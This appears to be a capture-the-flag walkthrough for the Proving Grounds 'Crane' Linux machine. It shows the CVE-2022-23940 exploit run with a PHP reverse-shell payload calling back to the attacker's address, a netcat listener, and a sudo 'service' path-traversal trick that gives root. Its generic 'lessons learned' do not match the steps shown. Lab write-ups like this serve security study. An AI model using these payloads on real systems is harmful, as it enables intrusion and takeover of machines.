Post

Proving Grounds - Crane (Linux)

Proving Grounds Crane Linux walkthrough covering reconnaissance, initial access, and privilege escalation.

Proving Grounds - Crane (Linux)

Overview

Field Value
OS Linux
Difficulty Not specified
Attack Surface Web application and exposed network services
Primary Entry Vector Web RCE (CVE-2022-23940)
Privilege Escalation Path Local enumeration -> misconfiguration abuse -> root

Credentials

No credentials obtained.

Reconnaissance


💡 Why this works
This stage maps the reachable attack surface and identifies where exploitation is most likely to succeed. Accurate service and content discovery reduces blind testing and drives targeted follow-up actions.

Initial Foothold


Screenshot from the crane engagement Caption: Screenshot captured during this stage of the assessment.

Screenshot from the crane engagement Caption: Screenshot captured during this stage of the assessment.

https://github.com/manuelz120/CVE-2022-23940 At this stage, the following command(s) are executed to progress the attack chain and validate the next hypothesis. We are specifically looking for actionable indicators such as open services, exploitability, credential exposure, or privilege boundaries. Key flags and parameters are preserved to keep the workflow reproducible for follow-along testing.

1
python3 exploit.py -h http://192.168.243.146/index.php -u admin -p admin --payload "php -r '\$sock=fsockopen(\"192.168.45.193\", 4444); exec(\"/bin/sh -i <&3 >&3 2>&3\");'"
1
2
3
❌[22:51][CPU:2][MEM:51][TUN0:192.168.45.193][...ound/Crane/CVE-2022-23940]
🐉 > python3 exploit.py -h http://192.168.243.146/index.php -u admin -p admin --payload "php -r '\$sock=fsockopen(\"192.168.45.193\", 4444); exec(\"/bin/sh -i <&3 >&3 2>&3\");'" 
INFO:CVE-2022-23940:Login did work - Trying to create scheduled report

At this stage, the following command(s) are executed to progress the attack chain and validate the next hypothesis. We are specifically looking for actionable indicators such as open services, exploitability, credential exposure, or privilege boundaries. Key flags and parameters are preserved to keep the workflow reproducible for follow-along testing.

1
rlwrap -cAri nc -lvnp 4444
1
2
3
4
5
6
✅[22:39][CPU:2][MEM:50][TUN0:192.168.45.193][/home/n0z0]
🐉 > rlwrap -cAri nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.45.193] from (UNKNOWN) [192.168.243.146] 39754
/bin/sh: 0: can't access tty; job control turned off
$ 

💡 Why this works
The initial access step chains discovered weaknesses into executable control over the target. Successful foothold techniques are validated by command execution or interactive shell callbacks.

Privilege Escalation


At this stage, the following command(s) are executed to progress the attack chain and validate the next hypothesis. We are specifically looking for actionable indicators such as open services, exploitability, credential exposure, or privilege boundaries. Key flags and parameters are preserved to keep the workflow reproducible for follow-along testing.

1
sudo -l
1
2
3
4
5
6
7
www-data@crane:/home$ sudo -l
Matching Defaults entries for www-data on localhost:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/sbin/service

https://gtfobins.github.io/gtfobins/service/#sudo At this stage, the following command(s) are executed to progress the attack chain and validate the next hypothesis. We are specifically looking for actionable indicators such as open services, exploitability, credential exposure, or privilege boundaries. Key flags and parameters are preserved to keep the workflow reproducible for follow-along testing.

1
www-data@crane:/home$ sudo /usr/sbin/service ../../bin/bash
1
www-data@crane:/home$ www-data@crane:/home$ sudo /usr/sbin/service ../../bin/bash

At this stage, the following command(s) are executed to progress the attack chain and validate the next hypothesis. We are specifically looking for actionable indicators such as open services, exploitability, credential exposure, or privilege boundaries. Key flags and parameters are preserved to keep the workflow reproducible for follow-along testing.

1
cat /root/proof.txt
1
2
root@crane:/# cat /root/proof.txt
dbcc317c88740fb78348619f39846097

At this stage, the following command(s) are executed to progress the attack chain and validate the next hypothesis. We are specifically looking for actionable indicators such as open services, exploitability, credential exposure, or privilege boundaries. Key flags and parameters are preserved to keep the workflow reproducible for follow-along testing.

1
cat /var/www/local.txt
1
2
3
root@crane:/home# cat /var/www/local.txt

2f201eb1104f5db209b0b1d44fcdb667

💡 Why this works
Privilege escalation relies on local misconfigurations, unsafe permissions, and trusted execution paths. Enumerating and abusing these trust boundaries is the fastest route to root-level access.

Lessons Learned / Key Takeaways

  • Validate framework debug mode and error exposure in production-like environments.
  • Restrict file permissions on scripts and binaries executed by privileged users or schedulers.
  • Harden sudo policies to avoid wildcard command expansion and scriptable privileged tools.
  • Treat exposed credentials and environment files as critical secrets.

References

  • CVE-2022-23940: https://nvd.nist.gov/vuln/detail/CVE-2022-23940
  • RustScan: https://github.com/RustScan/RustScan
  • Nmap: https://nmap.org/
  • feroxbuster: https://github.com/epi052/feroxbuster
  • Nuclei: https://github.com/projectdiscovery/nuclei
  • GTFOBins: https://gtfobins.org/
  • HackTricks Privilege Escalation: https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html
This post is licensed under CC BY 4.0 by the author.